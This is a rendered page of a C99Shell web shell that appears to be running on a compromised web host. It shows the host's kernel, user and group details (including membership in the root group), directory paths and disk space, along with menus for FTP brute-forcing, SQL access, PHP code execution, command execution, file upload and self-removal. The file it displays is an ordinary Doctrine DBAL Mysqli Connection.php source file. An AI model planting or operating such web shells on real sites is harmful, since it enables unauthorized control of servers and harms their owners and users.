!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/doctrine/dbal/src/Driver/Mysqli/   drwxr-xr-x
Free 28.78 GB of 117.98 GB (24.39%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Connection.php (3.45 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Doctrine\DBAL\Driver\Mysqli;

use 
Doctrine\DBAL\Driver\Mysqli\Exception\ConnectionError;
use 
Doctrine\DBAL\Driver\Result as ResultInterface;
use 
Doctrine\DBAL\Driver\ServerInfoAwareConnection;
use 
Doctrine\DBAL\Driver\Statement as DriverStatement;
use 
Doctrine\DBAL\ParameterType;
use 
Doctrine\Deprecations\Deprecation;
use 
mysqli;
use 
mysqli_sql_exception;

final class 
Connection implements ServerInfoAwareConnection
{
    
/**
     * Name of the option to set connection flags
     */
    
public const OPTION_FLAGS 'flags';

    private 
mysqli $connection;

    
/** @internal The connection can be only instantiated by its driver. */
    
public function __construct(mysqli $connection)
    {
        
$this->connection $connection;
    }

    
/**
     * Retrieves mysqli native resource handle.
     *
     * Could be used if part of your application is not using DBAL.
     *
     * @deprecated Call {@see getNativeConnection()} instead.
     */
    
public function getWrappedResourceHandle(): mysqli
    
{
        
Deprecation::trigger(
            
'doctrine/dbal',
            
'https://github.com/doctrine/dbal/pull/5037',
            
'%s is deprecated, call getNativeConnection() instead.',
            
__METHOD__,
        );

        return 
$this->getNativeConnection();
    }

    public function 
getServerVersion(): string
    
{
        return 
$this->connection->get_server_info();
    }

    public function 
prepare(string $sql): DriverStatement
    
{
        try {
            
$stmt $this->connection->prepare($sql);
        } catch (
mysqli_sql_exception $e) {
            throw 
ConnectionError::upcast($e);
        }

        if (
$stmt === false) {
            throw 
ConnectionError::new($this->connection);
        }

        return new 
Statement($stmt);
    }

    public function 
query(string $sql): ResultInterface
    
{
        return 
$this->prepare($sql)->execute();
    }

    
/**
     * {@inheritDoc}
     */
    
public function quote($value$type ParameterType::STRING)
    {
        return 
"'" $this->connection->escape_string($value) . "'";
    }

    public function 
exec(string $sql): int
    
{
        try {
            
$result $this->connection->query($sql);
        } catch (
mysqli_sql_exception $e) {
            throw 
ConnectionError::upcast($e);
        }

        if (
$result === false) {
            throw 
ConnectionError::new($this->connection);
        }

        return 
$this->connection->affected_rows;
    }

    
/**
     * {@inheritDoc}
     */
    
public function lastInsertId($name null)
    {
        if (
$name !== null) {
            
Deprecation::triggerIfCalledFromOutside(
                
'doctrine/dbal',
                
'https://github.com/doctrine/dbal/issues/4687',
                
'The usage of Connection::lastInsertId() with a sequence name is deprecated.',
            );
        }

        return 
$this->connection->insert_id;
    }

    public function 
beginTransaction(): bool
    
{
        
$this->connection->begin_transaction();

        return 
true;
    }

    public function 
commit(): bool
    
{
        try {
            return 
$this->connection->commit();
        } catch (
mysqli_sql_exception $e) {
            return 
false;
        }
    }

    public function 
rollBack(): bool
    
{
        try {
            return 
$this->connection->rollback();
        } catch (
mysqli_sql_exception $e) {
            return 
false;
        }
    }

    public function 
getNativeConnection(): mysqli
    
{
        return 
$this->connection;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--